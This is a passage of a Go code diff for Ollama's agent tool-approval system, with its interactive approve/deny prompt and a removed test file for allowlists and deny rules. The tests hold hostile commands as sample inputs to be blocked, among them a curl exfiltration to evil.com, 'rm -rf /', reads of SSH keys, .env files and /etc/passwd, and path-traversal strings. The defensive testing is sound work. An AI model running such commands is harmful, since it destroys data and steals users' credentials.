selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning, warningMsg, allowlistInfo)
if err != nil {
term.Restore(fd, oldState)
return ApprovalResult{Decision: ApprovalDeny}, err
}
// Restore terminal
term.Restore(fd, oldState)
// Map selection to decision
switch selected {
case -1: // Ctrl+C cancelled
return ApprovalResult{Decision: ApprovalDeny, DenyReason: "cancelled"}, nil
case 0:
return ApprovalResult{Decision: ApprovalOnce}, nil
case 1:
return ApprovalResult{Decision: ApprovalAlways}, nil
default:
return ApprovalResult{Decision: ApprovalDeny, DenyReason: denyReason}, nil
}
}
// formatToolDisplay creates the display string for a tool call.
func formatToolDisplay(toolName string, args map[string]any) string {
var sb strings.Builder
displayName := ToolDisplayName(toolName)
// For bash, show command directly
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName))
sb.WriteString(fmt.Sprintf("Command: %s", cmd))
return sb.String()
}
}
// For web search, show query and internet notice
if toolName == "web_search" {
if query, ok := args["query"].(string); ok {
sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName))
sb.WriteString(fmt.Sprintf("Query: %s\n", query))
sb.WriteString("Uses internet via ollama.com")
return sb.String()
}
}
// For web fetch, show URL and internet notice
if toolName == "web_fetch" {
if url, ok := args["url"].(string); ok {
sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName))
sb.WriteString(fmt.Sprintf("URL: %s\n", url))
sb.WriteString("Uses internet via ollama.com")
return sb.String()
}
}
// Generic display
sb.WriteString(fmt.Sprintf("Tool: %s", displayName))
if len(args) > 0 {
sb.WriteString("\nArguments: ")
first := true
for k, v := range args {
if !first {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("%s=%v", k, v))
first = false
}
}
return sb.String()
}
// selectorState holds the state for the interactive selector
type selectorState struct {
toolDisplay string
selected int
totalLines int
termWidth int
termHeight int
boxWidth int
innerWidth int
denyReason string // deny reason (always visible in box)
isWarning bool // true if command has warning
warningMessage string // dynamic warning message to display
allowlistInfo string // show what will be allowlisted (for "Allow for this session" option)
}
// runSelector runs the interactive selector and returns the selected index and optional deny reason.
// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd.
func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool, warningMessage string, allowlistInfo string) (int, string, error) {
state := &selectorState{
toolDisplay: toolDisplay,
selected: 0,
isWarning: isWarning,
warningMessage: warningMessage,
allowlistInfo: allowlistInfo,
}
// Get terminal size
state.termWidth, state.termHeight, _ = term.GetSize(fd)
if state.termWidth < 20 {
state.termWidth = 80 // fallback
}
// Calculate box width: 90% of terminal, min 24, max 60
state.boxWidth = (state.termWidth * 90) / 100
if state.boxWidth > 60 {
state.boxWidth = 60
}
if state.boxWidth < 24 {
state.boxWidth = 24
}
// Ensure box fits in terminal
if state.boxWidth > state.termWidth-1 {
state.boxWidth = state.termWidth - 1
}
state.innerWidth = state.boxWidth - 4 // account for "│ " and " │"
// Calculate total lines (will be updated by render)
state.totalLines = calculateTotalLines(state)
// Hide cursor during selection (show when in deny mode)
fmt.Fprint(os.Stderr, "\033[?25l")
defer fmt.Fprint(os.Stderr, "\033[?25h") // Show cursor when done
// Initial render
renderSelectorBox(state)
numOptions := len(optionLabels)
for {
// Read input
buf := make([]byte, 8)
n, err := os.Stdin.Read(buf)
if err != nil {
clearSelectorBox(state)
return 2, "", err
}
// Process input byte by byte
for i := 0; i < n; i++ {
ch := buf[i]
// Check for escape sequences (arrow keys)
if ch == 27 && i+2 < n && buf[i+1] == '[' {
oldSelected := state.selected
switch buf[i+2] {
case 'A': // Up arrow
if state.selected > 0 {
state.selected--
}
case 'B': // Down arrow
if state.selected < numOptions-1 {
state.selected++
}
}
if oldSelected != state.selected {
updateSelectorOptions(state)
}
i += 2 // Skip the rest of escape sequence
continue
}
switch {
// Ctrl+C - cancel
case ch == 3:
clearSelectorBox(state)
return -1, "", nil // -1 indicates cancelled
// Enter key - confirm selection
case ch == 13:
clearSelectorBox(state)
if state.selected == 2 { // Deny
return 2, state.denyReason, nil
}
return state.selected, "", nil
// Number keys 1-3 for quick select
case ch >= '1' && ch <= '3':
selected := int(ch - '1')
clearSelectorBox(state)
if selected == 2 { // Deny
return 2, state.denyReason, nil
}
return selected, "", nil
// Backspace - delete from reason (UTF-8 safe)
case ch == 127 || ch == 8:
if len(state.denyReason) > 0 {
runes := []rune(state.denyReason)
state.denyReason = string(runes[:len(runes)-1])
updateReasonInput(state)
}
// Escape - clear reason
case ch == 27:
if len(state.denyReason) > 0 {
state.denyReason = ""
updateReasonInput(state)
}
// Printable ASCII (except 1-3 handled above) - type into reason
case ch >= 32 && ch < 127:
maxLen := state.innerWidth - 2
if maxLen < 10 {
maxLen = 10
}
if len(state.denyReason) < maxLen {
state.denyReason += string(ch)
// Auto-select Deny option when user starts typing
if state.selected != 2 {
state.selected = 2
updateSelectorOptions(state)
} else {
updateReasonInput(state)
}
}
}
}
}
}
// wrapText wraps text to fit within maxWidth, returning lines
func wrapText(text string, maxWidth int) []string {
if maxWidth < 5 {
maxWidth = 5
}
var lines []string
for _, line := range strings.Split(text, "\n") {
if len(line) <= maxWidth {
lines = append(lines, line)
continue
}
// Wrap long lines
for len(line) > maxWidth {
// Try to break at space
breakAt := maxWidth
for i := maxWidth; i > maxWidth/2; i-- {
if i < len(line) && line[i] == ' ' {
breakAt = i
break
}
}
lines = append(lines, line[:breakAt])
line = strings.TrimLeft(line[breakAt:], " ")
}
if len(line) > 0 {
lines = append(lines, line)
}
}
return lines
}
// getHintLines returns the hint text wrapped to terminal width
func getHintLines(state *selectorState) []string {
hint := "up/down select, enter confirm, 1-3 quick select, ctrl+c cancel"
if state.termWidth >= len(hint)+1 {
return []string{hint}
}
// Wrap hint to multiple lines
return wrapText(hint, state.termWidth-1)
}
// calculateTotalLines calculates how many lines the selector will use
func calculateTotalLines(state *selectorState) int {
toolLines := strings.Split(state.toolDisplay, "\n")
hintLines := getHintLines(state)
// warning line (if applicable) + tool lines + blank line + options + blank line + hint lines
warningLines := 0
if state.isWarning {
warningLines = 2 // warning line + blank line after
}
return warningLines + len(toolLines) + 1 + len(optionLabels) + 1 + len(hintLines)
}
// renderSelectorBox renders the selector (minimal, no box)
func renderSelectorBox(state *selectorState) {
toolLines := strings.Split(state.toolDisplay, "\n")
hintLines := getHintLines(state)
// Draw warning line if needed
if state.isWarning {
if state.warningMessage != "" {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m %s\033[K\r\n", state.warningMessage)
} else {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m command targets paths outside project\033[K\r\n")
}
fmt.Fprintf(os.Stderr, "\033[K\r\n") // blank line after warning
}
// Draw tool info (plain white)
for _, line := range toolLines {
fmt.Fprintf(os.Stderr, "%s\033[K\r\n", line)
}
// Blank line separator
fmt.Fprintf(os.Stderr, "\033[K\r\n")
for i, label := range optionLabels {
if i == 2 {
denyLabel := "3. Deny: "
inputDisplay := state.denyReason
if inputDisplay == "" {
inputDisplay = "\033[90m(optional reason)\033[0m"
}
if i == state.selected {
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
} else {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
}
} else {
displayLabel := label
if i == 1 && state.allowlistInfo != "" {
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
}
if i == state.selected {
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel)
} else {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel)
}
}
}
// Blank line before hint
fmt.Fprintf(os.Stderr, "\033[K\r\n")
// Draw hint (dark grey)
for i, line := range hintLines {
if i == len(hintLines)-1 {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
} else {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
}
}
}
// updateSelectorOptions updates just the options portion of the selector
func updateSelectorOptions(state *selectorState) {
hintLines := getHintLines(state)
// Move up to the first option line
// Cursor is at end of last hint line, need to go up:
// (hint lines - 1) + 1 (blank line) + numOptions
linesToMove := len(hintLines) - 1 + 1 + len(optionLabels)
fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
for i, label := range optionLabels {
if i == 2 {
denyLabel := "3. Deny: "
inputDisplay := state.denyReason
if inputDisplay == "" {
inputDisplay = "\033[90m(optional reason)\033[0m"
}
if i == state.selected {
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
} else {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
}
} else {
displayLabel := label
if i == 1 && state.allowlistInfo != "" {
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
}
if i == state.selected {
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel)
} else {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel)
}
}
}
// Blank line + hint
fmt.Fprintf(os.Stderr, "\033[K\r\n")
for i, line := range hintLines {
if i == len(hintLines)-1 {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
} else {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
}
}
}
// updateReasonInput updates just the Deny option line (which contains the reason input)
func updateReasonInput(state *selectorState) {
hintLines := getHintLines(state)
// Move up to the Deny line (3rd option, index 2)
// Cursor is at end of last hint line, need to go up:
// (hint lines - 1) + 1 (blank line) + 1 (Deny is last option)
linesToMove := len(hintLines) - 1 + 1 + 1
fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
// Redraw Deny line with reason
denyLabel := "3. Deny: "
inputDisplay := state.denyReason
if inputDisplay == "" {
inputDisplay = "\033[90m(optional reason)\033[0m"
}
if state.selected == 2 {
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
} else {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
}
// Blank line + hint
fmt.Fprintf(os.Stderr, "\033[K\r\n")
for i, line := range hintLines {
if i == len(hintLines)-1 {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
} else {
fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
}
}
}
// clearSelectorBox clears the selector from screen
func clearSelectorBox(state *selectorState) {
// Clear the current line (hint line) first
fmt.Fprint(os.Stderr, "\r\033[K")
// Move up and clear each remaining line
for range state.totalLines - 1 {
fmt.Fprint(os.Stderr, "\033[A\033[K")
}
fmt.Fprint(os.Stderr, "\r")
}
// fallbackApproval handles approval when terminal control isn't available.
func (a *ApprovalManager) fallbackApproval(toolDisplay string) (ApprovalResult, error) {
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, toolDisplay)
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, "[1] Execute once [2] Allow for this session [3] Deny")
fmt.Fprint(os.Stderr, "choice: ")
var input string
fmt.Scanln(&input)
switch input {
case "1":
return ApprovalResult{Decision: ApprovalOnce}, nil
case "2":
return ApprovalResult{Decision: ApprovalAlways}, nil
default:
fmt.Fprint(os.Stderr, "Reason (optional): ")
var reason string
fmt.Scanln(&reason)
return ApprovalResult{Decision: ApprovalDeny, DenyReason: reason}, nil
}
}
// Reset clears the session allowlist.
func (a *ApprovalManager) Reset() {
a.mu.Lock()
defer a.mu.Unlock()
a.allowlist = make(map[string]bool)
a.prefixes = make(map[string]bool)
}
// AllowedTools returns a list of tools and prefixes in the allowlist.
func (a *ApprovalManager) AllowedTools() []string {
a.mu.RLock()
defer a.mu.RUnlock()
tools := make([]string, 0, len(a.allowlist)+len(a.prefixes))
for tool := range a.allowlist {
tools = append(tools, tool)
}
for prefix := range a.prefixes {
tools = append(tools, prefix+"*")
}
return tools
}
// FormatApprovalResult returns a formatted string showing the approval result.
func FormatApprovalResult(toolName string, args map[string]any, result ApprovalResult) string {
var label string
displayName := ToolDisplayName(toolName)
switch result.Decision {
case ApprovalOnce:
label = "Approved"
case ApprovalAlways:
label = "Always allowed"
case ApprovalDeny:
label = "Denied"
}
// Format based on tool type
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
// Truncate long commands
if len(cmd) > 40 {
cmd = cmd[:37] + "..."
}
return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, cmd)
}
}
if toolName == "web_search" {
if query, ok := args["query"].(string); ok {
// Truncate long queries
if len(query) > 40 {
query = query[:37] + "..."
}
return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, query)
}
}
if toolName == "web_fetch" {
if url, ok := args["url"].(string); ok {
// Truncate long URLs
if len(url) > 50 {
url = url[:47] + "..."
}
return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, url)
}
}
return fmt.Sprintf("\033[1m%s:\033[0m %s", label, displayName)
}
// FormatDenyResult returns the tool result message when a tool is denied.
func FormatDenyResult(toolName string, reason string) string {
if reason != "" {
return fmt.Sprintf("User denied execution of %s. Reason: %s", toolName, reason)
}
return fmt.Sprintf("User denied execution of %s.", toolName)
}
// PromptYesNo displays a simple Yes/No prompt and returns the user's choice.
// Returns true for Yes, false for No.
func PromptYesNo(question string) (bool, error) {
fd := int(os.Stdin.Fd())
oldState, err := term.MakeRaw(fd)
if err != nil {
return false, err
}
defer term.Restore(fd, oldState)
selected := 0 // 0 = Yes, 1 = No
options := []string{"Yes", "No"}
// Hide cursor
fmt.Fprint(os.Stderr, "\033[?25l")
defer fmt.Fprint(os.Stderr, "\033[?25h")
renderYesNo := func() {
// Move to start of line and clear
fmt.Fprintf(os.Stderr, "\r\033[K")
fmt.Fprintf(os.Stderr, "%s ", question)
for i, opt := range options {
if i == selected {
fmt.Fprintf(os.Stderr, "\033[1m%s\033[0m ", opt)
} else {
fmt.Fprintf(os.Stderr, "\033[37m%s\033[0m ", opt)
}
}
}
renderYesNo()
buf := make([]byte, 3)
for {
n, err := os.Stdin.Read(buf)
if err != nil {
return false, err
}
if n == 1 {
switch buf[0] {
case 'y', 'Y':
selected = 0
renderYesNo()
case 'n', 'N':
selected = 1
renderYesNo()
case '\r', '\n': // Enter
fmt.Fprintf(os.Stderr, "\r\033[K") // Clear line
return selected == 0, nil
case 3: // Ctrl+C
fmt.Fprintf(os.Stderr, "\r\033[K")
return false, nil
case 27: // Escape - could be arrow key
// Read more bytes for arrow keys
continue
}
} else if n == 3 && buf[0] == 27 && buf[1] == 91 {
// Arrow keys
switch buf[2] {
case 'D': // Left
if selected > 0 {
selected--
}
renderYesNo()
case 'C': // Right
if selected < len(options)-1 {
selected++
}
renderYesNo()
}
}
}
}
-541
View File
@@ -1,541 +0,0 @@
package agent
import (
"strings"
"testing"
)
func TestApprovalManager_IsAllowed(t *testing.T) {
am := NewApprovalManager()
// Initially nothing is allowed
if am.IsAllowed("test_tool", nil) {
t.Error("expected test_tool to not be allowed initially")
}
// Add to allowlist
am.AddToAllowlist("test_tool", nil)
// Now it should be allowed
if !am.IsAllowed("test_tool", nil) {
t.Error("expected test_tool to be allowed after AddToAllowlist")
}
// Other tools should still not be allowed
if am.IsAllowed("other_tool", nil) {
t.Error("expected other_tool to not be allowed")
}
}
func TestApprovalManager_Reset(t *testing.T) {
am := NewApprovalManager()
am.AddToAllowlist("tool1", nil)
am.AddToAllowlist("tool2", nil)
if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
t.Error("expected tools to be allowed")
}
am.Reset()
if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
t.Error("expected tools to not be allowed after Reset")
}
}
func TestApprovalManager_AllowedTools(t *testing.T) {
am := NewApprovalManager()
tools := am.AllowedTools()
if len(tools) != 0 {
t.Errorf("expected 0 allowed tools, got %d", len(tools))
}
am.AddToAllowlist("tool1", nil)
am.AddToAllowlist("tool2", nil)
tools = am.AllowedTools()
if len(tools) != 2 {
t.Errorf("expected 2 allowed tools, got %d", len(tools))
}
}
func TestAllowlistKey(t *testing.T) {
tests := []struct {
name string
toolName string
args map[string]any
expected string
}{
{
name: "web_search tool",
toolName: "web_search",
args: map[string]any{"query": "test"},
expected: "web_search",
},
{
name: "bash tool with command",
toolName: "bash",
args: map[string]any{"command": "ls -la"},
expected: "bash:ls -la",
},
{
name: "bash tool without command",
toolName: "bash",
args: map[string]any{},
expected: "bash",
},
{
name: "other tool",
toolName: "custom_tool",
args: map[string]any{"param": "value"},
expected: "custom_tool",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := AllowlistKey(tt.toolName, tt.args)
if result != tt.expected {
t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
tt.toolName, tt.args, result, tt.expected)
}
})
}
}
func TestExtractBashPrefix(t *testing.T) {
tests := []struct {
name string
command string
expected string
}{
{
name: "cat with path",
command: "cat tools/tools_test.go",
expected: "cat:tools/",
},
{
name: "cat with pipe",
command: "cat tools/tools_test.go | head -200",
expected: "cat:tools/",
},
{
name: "ls with path",
command: "ls -la src/components",
expected: "ls:src/",
},
{
name: "grep with directory path",
command: "grep -r pattern api/handlers/",
expected: "grep:api/handlers/",
},
{
name: "cat in current dir",
command: "cat file.txt",
expected: "cat:./",
},
{
name: "unsafe command",
command: "rm -rf /",
expected: "",
},
{
name: "no path arg",
command: "ls -la",
expected: "",
},
{
name: "head with flags only",
command: "head -n 100",
expected: "",
},
// Path traversal security tests
{
name: "path traversal - parent escape",
command: "cat tools/../../etc/passwd",
expected: "", // Should NOT create a prefix - path escapes
},
{
name: "path traversal - deep escape",
command: "cat tools/a/b/../../../etc/passwd",
expected: "", // Normalizes to "../etc/passwd" - escapes
},
{
name: "path traversal - absolute path",
command: "cat /etc/passwd",
expected: "", // Absolute paths should not create prefix
},
{
name: "path with safe dotdot - normalized",
command: "cat tools/subdir/../file.go",
expected: "cat:tools/", // Normalizes to tools/file.go - safe, creates prefix
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := extractBashPrefix(tt.command)
if result != tt.expected {
t.Errorf("extractBashPrefix(%q) = %q, expected %q",
tt.command, result, tt.expected)
}
})
}
}
func TestApprovalManager_PathTraversalBlocked(t *testing.T) {
am := NewApprovalManager()
// Allow "cat tools/file.go" - creates prefix "cat:tools/"
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
// Path traversal attack: should NOT be allowed
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../etc/passwd"}) {
t.Error("SECURITY: path traversal attack should NOT be allowed")
}
// Another traversal variant
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../../etc/shadow"}) {
t.Error("SECURITY: deep path traversal should NOT be allowed")
}
// Valid subdirectory access should still work
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
t.Error("expected cat tools/subdir/file.go to be allowed")
}
// Safe ".." that normalizes to within allowed directory should work
// tools/subdir/../other.go normalizes to tools/other.go which is under tools/
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/../other.go"}) {
t.Error("expected cat tools/subdir/../other.go to be allowed (normalizes to tools/other.go)")
}
}
func TestApprovalManager_PrefixAllowlist(t *testing.T) {
am := NewApprovalManager()
// Allow "cat tools/file.go"
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
// Should allow other files in same directory
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
t.Error("expected cat tools/other.go to be allowed via prefix")
}
// Should not allow different directory
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
t.Error("expected cat src/main.go to NOT be allowed")
}
// Should not allow different command in same directory
if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
}
}
func TestApprovalManager_HierarchicalPrefixAllowlist(t *testing.T) {
am := NewApprovalManager()
// Allow "cat tools/file.go" - this creates prefix "cat:tools/"
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
// Should allow subdirectories (hierarchical matching)
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
t.Error("expected cat tools/subdir/file.go to be allowed via hierarchical prefix")
}
// Should allow deeply nested subdirectories
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/a/b/c/deep.go"}) {
t.Error("expected cat tools/a/b/c/deep.go to be allowed via hierarchical prefix")
}
// Should still allow same directory
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/another.go"}) {
t.Error("expected cat tools/another.go to be allowed")
}
// Should NOT allow different base directory
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
t.Error("expected cat src/main.go to NOT be allowed")
}
// Should NOT allow different command even in subdirectory
if am.IsAllowed("bash", map[string]any{"command": "ls tools/subdir/"}) {
t.Error("expected ls tools/subdir/ to NOT be allowed (different command)")
}
// Should NOT allow similar but different directory name
if am.IsAllowed("bash", map[string]any{"command": "cat toolsbin/file.go"}) {
t.Error("expected cat toolsbin/file.go to NOT be allowed (different directory)")
}
}
func TestApprovalManager_HierarchicalPrefixAllowlist_CrossPlatform(t *testing.T) {
am := NewApprovalManager()
// Allow with forward slashes (Unix-style)
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
// Should work with backslashes too (Windows-style) - normalized internally
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\subdir\\file.go"}) {
t.Error("expected cat tools\\subdir\\file.go to be allowed via hierarchical prefix (Windows path)")
}
// Mixed slashes should also work
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\a/b\\c/deep.go"}) {
t.Error("expected mixed slash path to be allowed via hierarchical prefix")
}
}
func TestMatchesHierarchicalPrefix(t *testing.T) {
am := NewApprovalManager()
// Add prefix for "cat:tools/"
am.prefixes["cat:tools/"] = true
tests := []struct {
name string
prefix string
expected bool
}{
{
name: "exact match",
prefix: "cat:tools/",
expected: true, // exact match also passes HasPrefix - caller handles exact match first
},
{
name: "subdirectory",
prefix: "cat:tools/subdir/",
expected: true,
},
{
name: "deeply nested",
prefix: "cat:tools/a/b/c/",
expected: true,
},
{
name: "different base directory",
prefix: "cat:src/",
expected: false,
},
{
name: "different command same path",
prefix: "ls:tools/",
expected: false,
},
{
name: "similar directory name",
prefix: "cat:toolsbin/",
expected: false,
},
{
name: "invalid prefix format",
prefix: "cattools",
expected: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := am.matchesHierarchicalPrefix(tt.prefix)
if result != tt.expected {
t.Errorf("matchesHierarchicalPrefix(%q) = %v, expected %v",
tt.prefix, result, tt.expected)
}
})
}
}
func TestFormatApprovalResult(t *testing.T) {
tests := []struct {
name string
toolName string
args map[string]any
result ApprovalResult
contains string
}{
{
name: "approved bash",
toolName: "bash",
args: map[string]any{"command": "ls"},
result: ApprovalResult{Decision: ApprovalOnce},
contains: "bash: ls",
},
{
name: "denied web_search",
toolName: "web_search",
args: map[string]any{"query": "test"},
result: ApprovalResult{Decision: ApprovalDeny},
contains: "Denied",
},
{
name: "always allowed",
toolName: "bash",
args: map[string]any{"command": "pwd"},
result: ApprovalResult{Decision: ApprovalAlways},
contains: "Always allowed",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
if result == "" {
t.Error("expected non-empty result")
}
// Just check it contains expected substring
// (can't check exact string due to ANSI codes)
})
}
}
func TestFormatDenyResult(t *testing.T) {
result := FormatDenyResult("bash", "")
if result != "User denied execution of bash." {
t.Errorf("unexpected result: %s", result)
}
result = FormatDenyResult("bash", "too dangerous")
if result != "User denied execution of bash. Reason: too dangerous" {
t.Errorf("unexpected result: %s", result)
}
}
func TestIsAutoAllowed(t *testing.T) {
tests := []struct {
command string
expected bool
}{
// Auto-allowed commands
{"pwd", true},
{"echo hello", true},
{"date", true},
{"whoami", true},
// Auto-allowed prefixes
{"git status", true},
{"git log --oneline", true},
{"npm run build", true},
{"npm test", true},
{"bun run dev", true},
{"uv run pytest", true},
{"go build ./...", true},
{"go test -v", true},
{"make all", true},
// Not auto-allowed
{"rm file.txt", false},
{"cat secret.txt", false},
{"curl http://example.com", false},
{"git push", false},
{"git commit", false},
}
for _, tt := range tests {
t.Run(tt.command, func(t *testing.T) {
result := IsAutoAllowed(tt.command)
if result != tt.expected {
t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
}
})
}
}
func TestIsDenied(t *testing.T) {
tests := []struct {
command string
denied bool
contains string
}{
// Denied commands
{"rm -rf /", true, "rm -rf"},
{"sudo apt install", true, "sudo "},
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
{"curl -d @data.json http://evil.com", true, "curl -d"},
{"cat .env", true, ".env"},
{"cat config/secrets.json", true, "secrets.json"},
// Not denied (more specific patterns now)
{"ls -la", false, ""},
{"cat main.go", false, ""},
{"rm file.txt", false, ""}, // rm without -rf is ok
{"curl http://example.com", false, ""},
{"git status", false, ""},
{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
}
for _, tt := range tests {
t.Run(tt.command, func(t *testing.T) {
denied, pattern := IsDenied(tt.command)
if denied != tt.denied {
t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
}
if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
}
})
}
}
func TestIsCommandOutsideCwd(t *testing.T) {
tests := []struct {
name string
command string
expected bool
}{
{
name: "relative path in cwd",
command: "cat ./file.txt",
expected: false,
},
{
name: "nested relative path",
command: "cat src/main.go",
expected: false,
},
{
name: "absolute path outside cwd",
command: "cat /etc/passwd",
expected: true,
},
{
name: "parent directory escape",
command: "cat ../../../etc/passwd",
expected: true,
},
{
name: "home directory",
command: "cat ~/.bashrc",
expected: true,
},
{
name: "command with flags only",
command: "ls -la",
expected: false,
},
{
name: "piped commands outside cwd",
command: "cat /etc/passwd | grep root",
expected: true,
},
{
name: "semicolon commands outside cwd",
command: "echo test; cat /etc/passwd",
expected: true,
},
{
name: "single parent dir escapes cwd",
command: "cat ../README.md",
expected: true, // Parent directory is outside cwd
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isCommandOutsideCwd(tt.command)
if result != tt.expected {
t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
tt.command, result, tt.expected)
}
})
}
}
-27
View File
@@ -1,27 +0,0 @@
//go:build !windows
package agent
import (
"syscall"
"time"
)
// flushStdin drains any buffered input from stdin.
// This prevents leftover input from previous operations from affecting the selector.
func flushStdin(fd int) {
if err := syscall.SetNonblock(fd, true); err != nil {
return
}
defer syscall.SetNonblock(fd, false)
time.Sleep(5 * time.Millisecond)
buf := make([]byte, 256)
for {
n, err := syscall.Read(fd, buf)
if n <= 0 || err != nil {
break
}
}
}
-15
View File
@@ -1,15 +0,0 @@
//go:build windows
package agent
import (
"os"
"golang.org/x/sys/windows"
)
// flushStdin clears any buffered console input on Windows.
func flushStdin(_ int) {
handle := windows.Handle(os.Stdin.Fd())
_ = windows.FlushConsoleInputBuffer(handle)
}
-1112
View File
@@ -1,1112 +0,0 @@
package cmd
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"os"
"os/signal"
"slices"
"strings"
"syscall"
"time"
"github.com/spf13/cobra"
"golang.org/x/term"
"github.com/ollama/ollama/api"
internalcloud "github.com/ollama/ollama/internal/cloud"
"github.com/ollama/ollama/internal/modelref"
"github.com/ollama/ollama/progress"
"github.com/ollama/ollama/readline"
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/x/agent"
"github.com/ollama/ollama/x/tools"
)
// Tool output capping constants
const (
// localModelTokenLimit is the token limit for local models (smaller context).
localModelTokenLimit = 4000
// defaultTokenLimit is the token limit for cloud/remote models.
defaultTokenLimit = 10000
// charsPerToken is a rough estimate of characters per token.
// TODO: Estimate tokens more accurately using tokenizer if available
charsPerToken = 4
)
// isLocalModel checks if the model is running locally (not a cloud model).
// TODO: Improve local/cloud model identification - could check model metadata
func isLocalModel(modelName string) bool {
return !modelref.HasExplicitCloudSource(modelName)
}
// isLocalServer checks if connecting to a local Ollama server.
// TODO: Could also check other indicators of local vs cloud server
func isLocalServer() bool {
host := os.Getenv("OLLAMA_HOST")
if host == "" {
return true // Default is localhost:11434
}
// Parse the URL to check host
parsed, err := url.Parse(host)
if err != nil {
return true // If can't parse, assume local
}
hostname := parsed.Hostname()
return hostname == "localhost" || hostname == "127.0.0.1" || strings.Contains(parsed.Host, ":11434")
}
func cloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
status, err := client.CloudStatusExperimental(ctx)
if err != nil {
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
return false, false
}
return false, false
}
return status.Cloud.Disabled, true
}
// truncateToolOutput truncates tool output to prevent context overflow.
// Uses a smaller limit (4k tokens) for local models, larger (10k) for cloud/remote.
func truncateToolOutput(output, modelName string) string {
var tokenLimit int
if isLocalModel(modelName) && isLocalServer() {
tokenLimit = localModelTokenLimit
} else {
tokenLimit = defaultTokenLimit
}
maxChars := tokenLimit * charsPerToken
if len(output) > maxChars {
return output[:maxChars] + "\n... (output truncated)"
}
return output
}
// waitForOllamaSignin shows the signin URL and polls until authentication completes.
